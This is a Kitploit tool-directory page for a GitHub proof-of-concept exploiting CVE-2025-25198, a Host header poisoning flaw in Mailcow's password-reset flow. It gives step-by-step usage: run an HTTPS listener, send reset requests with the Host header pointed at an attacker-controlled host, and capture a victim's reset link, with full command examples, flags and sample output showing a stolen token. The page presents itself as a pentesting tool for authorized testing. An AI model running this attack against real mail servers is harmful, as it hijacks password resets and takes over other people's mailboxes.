Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-25198-PoC — PoC for CVE-2025-25198: automated Host header poisoning test for Mailcow - HTTPS listener, automatic cookie/CSRF handling, captures first reset link. | Kitploit
Tools/GitHubGitHub/groppoxx/cve-2025-25198-poc
Password AttacksVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubgroppoxx/cve-2025-25198-poc

CVE-2025-25198-PoC

PoC for CVE-2025-25198: automated Host header poisoning test for Mailcow - HTTPS listener, automatic cookie/CSRF handling, captures first reset link.

View Repository
2013 months agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
Website

CVE-2025-25198-PoC

Proof-of-concept for CVE-2025-25198, a Host header poisoning issue affecting Mailcow password reset flows.

The script starts a local HTTPS listener on port 443, obtains a valid CSRF token automatically, sends the password reset sequence with a poisoned Host header, and stops when a reset link is recovered either from the HTTP response or from a callback to the listener.

What It Does

  1. Starts an HTTPS listener with a self-signed certificate.
  2. Creates a fresh HTTP client session.
  3. Obtains a CSRF token automatically.
  4. Sends the reset flow with a controlled Host header.
  5. Extracts reset links from responses and redirects.
  6. Waits for a listener hit if the target sends the link out-of-band.
  7. Stops at the first valid reset link and prints it cleanly.

Requirements

root@kitploit:~
Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target

Install dependencies:

root@kitploit:~
pip install -r requirements.txt

Quick Start

Values wrapped in angle brackets are placeholders. Replace them with your own values and do not include the < or > characters.

root@kitploit:~
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <MAILCOW_URL> \
  --username <MAILBOX> \
  --attacker-host <ATTACKER_HOST> \
  --http2

Placeholders

root@kitploit:~
<MAILCOW_URL>    # Target Mailcow base URL. Example: https://mail.example.com
<MAILBOX>        # Mailbox/user passed to the reset form. Usually an email address.
<ATTACKER_HOST>  # IP or DNS name that the target can reach on TCP/443.

Full Example

root@kitploit:~
sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username [email protected] \
  --attacker-host 10.10.13.12 \
  --http2

Example output:

root@kitploit:~
[2026-05-17T18:30:12Z] [+] HTTPS listener on https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] Auto CSRF: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Sending sequence with poisoned Host
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  RESET LINK FOUND!  (listener)                                                 ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD                ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝

Demo

asciicast

Optional Flags

root@kitploit:~
--http2
   Use HTTP/2 via httpx. Recommended for best parity with modern browsers.

--interval <seconds>
   Seconds between attempts and listener wait windows. Default: 8

--max-attempts <N>
   Stop after N attempts. Default: 0, which means retry indefinitely.

--cookie '<pairs>'
   Seed the client cookie jar manually.
   Example: --cookie 'PHPSESSID=abcdef123456; another=value'

--csrf <TOKEN>
   Use a known CSRF token instead of auto-discovery.

--only-final
   Hide progress logs and print only the final reset-link banner.

Notes

  • The listener always binds to port 443.
  • On Linux/macOS, binding port 443 requires sudo or root.
  • The target must be able to reach https://<ATTACKER_HOST>/.
  • If a reset link is found in an HTTP response, the script exits immediately.
  • If no link is found in the response, the script waits for a callback to the HTTPS listener.
  • If no link is recovered, the sequence retries every 8 seconds by default.
  • server.pem and server.key are generated automatically if missing.

Legal

This PoC is intended for authorized security testing, lab environments, and vulnerability verification. Do not use it against systems without explicit permission.

Download Tool